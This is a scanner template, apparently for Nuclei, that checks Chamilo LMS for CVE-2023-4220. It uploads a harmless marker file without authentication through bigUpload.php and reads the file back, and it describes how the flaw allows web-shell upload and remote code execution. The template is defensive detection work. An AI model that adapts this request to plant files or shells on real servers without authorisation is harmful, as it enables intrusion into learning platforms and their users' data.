Chamilo LMS <= 1.11.24 - Remote Code Execution

id: CVE-2023-4220

info:
  name: Chamilo LMS <= 1.11.24 - Remote Code Execution
  author: s4e-io
  severity: medium
  description: |
    Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
  impact: |
    Unauthenticated attackers can upload arbitrary files including web shells through the bigUpload functionality, potentially achieving remote code execution and compromising the entire Chamilo LMS learning management system.
  remediation: |
    Update Chamilo LMS to a version newer than 1.11.24 that validates file types and extensions in bigUpload.php and restricts uploads to safe file types only.
  reference:
    - https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit
    - https://github.com/charlesgargasson/CVE-2023-4220
    - https://starlabs.sg/advisories/23/23-4220/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4220
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4220
    cwe-id: CWE-434
    epss-score: 0.76084
    epss-percentile: 0.99535
    cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: chamilo
    product: chamilo_lms
    shodan-query: "X-Powered-By: Chamilo"
  tags: cve,cve2023,chamilo,lms,rce,intrusive,file-upload,vkev,vuln

variables:
  filename: "{{rand_base(10)}}"
  num: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3

        --------------------------SwxF5rRaZb4lETWlpulXn3
        Content-Disposition: form-data; name="bigUploadFile"; filename="{{filename}}.txt"
        Content-Type: application/octet-stream

        {{md5(num)}}

        --------------------------SwxF5rRaZb4lETWlpulXn3--

      - |
        GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2,"{{md5(num)}}")'
          - "status_code_1 == 200 && status_code_2 == 200"
        condition: and